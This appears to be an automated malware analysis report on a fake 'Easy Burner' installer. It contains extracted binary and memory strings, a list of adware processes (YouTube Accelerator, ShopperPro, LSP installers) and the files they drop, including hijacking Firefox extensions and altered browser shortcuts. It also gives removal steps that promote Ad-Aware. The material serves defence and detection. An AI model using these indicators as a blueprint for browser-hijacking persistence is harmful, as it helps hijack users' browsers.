Error: Invalid size of %s.

Error: Invalid VIDEO_TS.IFO file size.

Error: VIDEO_TS.IFO is larger than 4 million blocks (%I64u blocks).

Error: VIDEO_TS.VOB is larger than 4 million blocks (%I64u blocks).

Error: VIDEO_TS.BUP is larger than 4 million blocks (%I64u blocks).

Error: Unable to open and identify %s.

Error: %s is not of VTS format.

Error: Unable to read VTS data from %s.

Error: Either IFO or menu VOB related to %s is of incorrect size. (1)

Error: Either IFO or menu VOB related to %s is of incorrect size. (2)

Error: Either IFO or menu VOB related to %s is of incorrect size. (3)

%s: pad %u sector(s).

/VIDEO_TS/VIDEO_TS.IFO

Error: Unable to locate VIDEO_TS.IFO in file tree.

Error: Unable to open and identify VIDEO_TS.IFO.

Error: VIDEO_TS.IFO is not of VMG format.

Error: Unable to read VIDEO_TS.IFO VMG data.

Warning: Unable to calculate unique Joliet name for %s. Duplicate file names will exist in Joliet name extension.

Warning: Unable to calculate unique ISO9660 name for %s. Duplicate file names will exist in ISO9660 file system.

Root folder is larger than ISO9660 supports, current size is

Error: The file "%s" does not contain imported session data like advertised.

uUnable to read the file "%s".

Error: Unable to read directory record (size mismatch: %u vs. %u).

Error: Directory record file identifier is too large: %u bytes.

Sector offset: %u.

Error: %s

Location of root directory extent: %u.

Length of root directory extent: %u.

Error: Failed to read directory entry at sector: %u.

The directory structure is deeper than %d levels. Deep files and folders will be ignored.

Skipping "%s".

Skipping "%s", the file is larger than 4 GiB.

The file "%s" is larger than 4 GiB. It will not be visible in the ISO9660/Joliet file system.

Unable to open file for writing: %s.

Unable to open file for reading: %s.

Warning: Skipping "%s", the file is larger than 4 GiB.

Warning: The file "%s" is larger than 4 GiB. It will not be visible in the ISO9660/Joliet file system.

" does not contain imported session data like advertised.

The file "%s" may have been modified during file system creation, please verify its integrity on the disc.

warning: conflicting file sizes in "%s".

Internal error in %s at line %d.

Error opening file "%s":

Error querying size of file "%s":

IIDispatch error #%d

Unable to open file "%s" for read/write access.

C:\Users\"%CurrentUserName%"\Desktop

150224_0403

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\

%Program Files% (x86)\EasyBurner\cdrtools\

%Program Files% (x86)\EasyBurner\EasyBurner.exe

Import &Session...

Easy Burner - Website

Associate Easy Burner with .irp (Easy Burner Project) files

Associate Easy Burner with disc images (.iso, .img and .cue)

Enable smoke effect (requires Windows Vista Aero)

Import Session

Track to import:

Go up one level..Save the selected track(s) to your hard drive.&Scan the selected track(s) for errors.*Erase the selected track(s) from the disc.d a new file extension to the list.1Remove the selected file extension from the list.$Add a new boot image to the project.0Remove the selected boot image from the project.

-Burn the current compilation to a disc image.8Burn the current compilation to a physical compact disc..Close a disc that has not already been closed.6View disc track layout, save tracks and verify tracks.

Display disc information.3Import an existing session to your current project.

Import file(s) to the project.

1.0.0.0

EasyBurner.exe

IEXPLORE.EXE_4528:

.text

`.data

.idata

.rsrc

@.reloc

u\j.Xf9

j.Xf9

USER32.dll

api-ms-win-downlevel-shell32-l1-1-0.dll

IEFRAME.dll

SHELL32.dll

iexplore.pdb

api-ms-win-downlevel-shlwapi-l1-1-0.dll

iertutil.dll

api-ms-win-downlevel-advapi32-l1-1-0.dll

KERNEL32.dll

msvcrt.dll

_wcmdln

_amsg_exit

RegOpenKeyExW

RegCloseKey

<!-- Note: This manifest needs to be kept in sync with iexplore.exe.manifest -->

<assemblyIdentity version="5.1.0.0"

name="Microsoft.InternetExplorer"

<windowsSettings>

<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>

</windowsSettings>

<!--The ID below indicates application support for Windows 8 -->

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

KEYW

.ENNNG.

a.ry.v

l.igM4

?1%SGf

xh.JW^

.97777"7" " " !

3.... ))

8888888888888

8888888888

.lPV)

úW1

.ApX/

H.ZAf

ð[U

%s!FK

1YYYY1YY9GEAA=77YRNNNW:.VT1

888777777

Y.hilkRROMLK=C,

..(((($$

3...((((%

3....(.''$

3.2...((((%

33.2....(,'

55323222...

(%&'00443445?

00.,,,4(

000.,,9(

0020..9(

003200;(

(#'( (''''!'!

Microsoft.InternetExplorer.Default

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe

{28fb17e0-d393-439d-9a21-9474a070473a}

imm32.dll

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}

Kernel32.dll

"%s" %s

kernel32.dll

IEXPLORE.EXE

{00000000-0000-0000-0000-000000000000}

\\?\Volume

Imaging_CreateWebPagePreview_Perftrack

Browseui_Tabs_Tearoff_BetweenWindows

Browseui_Tabs_Tearoff_BetweenWindows_TabProc

Frame_URLEntered

Imaging_CreateWebPagePreview

WS_ExecuteQuery

Shdocvw_BaseBrowser_FireEvent_WindowStateChanged

IdleTask_Execution_Time

Shdocvw_BaseBrowser_FireEvent_BeforeScriptExecute

IMTravelLogMVC_TravelURL

10.00.9200.16521 (win8_gdr_soc_ie.130216-2100)

Windows

10.00.9200.16521

IEXPLORE.EXE_4528_rwx_01016000_00001000:

api-ms-win-downlevel-shlwapi-l1-1-0.dll

iertutil.dll

api-ms-win-downlevel-advapi32-l1-1-0.dll

KERNEL32.dll

msvcrt.dll

_wcmdln

_amsg_exit

RegOpenKeyExW

RegCloseKey

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):

BaofengUpdate.exe:200
BaofengUpdate.exe:1872
YTAHelper.exe:1436
ProtectWindowsManager.exe:3832
ProtectWindowsManager.exe:2496
GLBF517.tmp:1872
YouTubeAcceleratorService.exe:2640
YouTubeAcceleratorService.exe:1192
YouTubeAcceleratorService.exe:3668
ins_postInst.exe:4064
ProtectService.exe:1956
ProtectService.exe:3492
8652fd7b-ad3d-42ae-954c-19d2b83040c5-4.exe:4516
5ca17.exe:2320
MsiExec.exe:4116
MsiExec.exe:4244
GLJF557.tmp:1840
appshat.exe:3356
biclient.exe:3640
wpm_v20.0.0.1714_0204.exe:488
ins_yta.exe:1652
appshat_generic.exe:796
testlsp.exe:628
powershell.exe:2344
powershell.exe:916
powershell.exe:3748
setup.exe:3592
setup.exe:2408
HPNotify.exe:1280
STab_Down_6.0.6.8.exe:3600
cmdshell.exe:3164
jsdrv.exe:3420
ShopperPro.exe:2220
Wueqljjrpxyh.exe:2588
78F8.tmp:2856
ins_shopperpro.exe:908
regsvr32.exe:2524
regsvr32.exe:2400
regsvr32.exe:3840
regsvr32.exe:3308
regsvr32.exe:2416
regsvr32.exe:3720
lspinst.exe:3432
lspinst.exe:3868
6641.tmp:2324
webplayer_installer.exe:3376
YTAHEL~1.EXE:2620
%original file name%.exe:3304
DCytaiesmt_smtyc_setup.exe:3680
cscript.exe:3476
spbiu.exe:3012
spbiu.exe:408
wscript.exe:5004
XTab_v4.0.exe:3476
taskeng.exe:1448
ytaiesmt_smtyc_setup.exe:1744
MSIEXEC.EXE:3448
Delete the original Application file.
Delete or disinfect the following files created/modified by the Application:

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\33FC.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\33EB.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\BFVUpdateM.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1424743303_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\422.db (260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\STab_Down_6.0.6.8.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\RegWrite.exe (86 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (486 bytes)
C:\ProgramData\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)
C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGFD56.tmp (93191 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (116073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (24473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCF546.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFFD57.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJF557.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
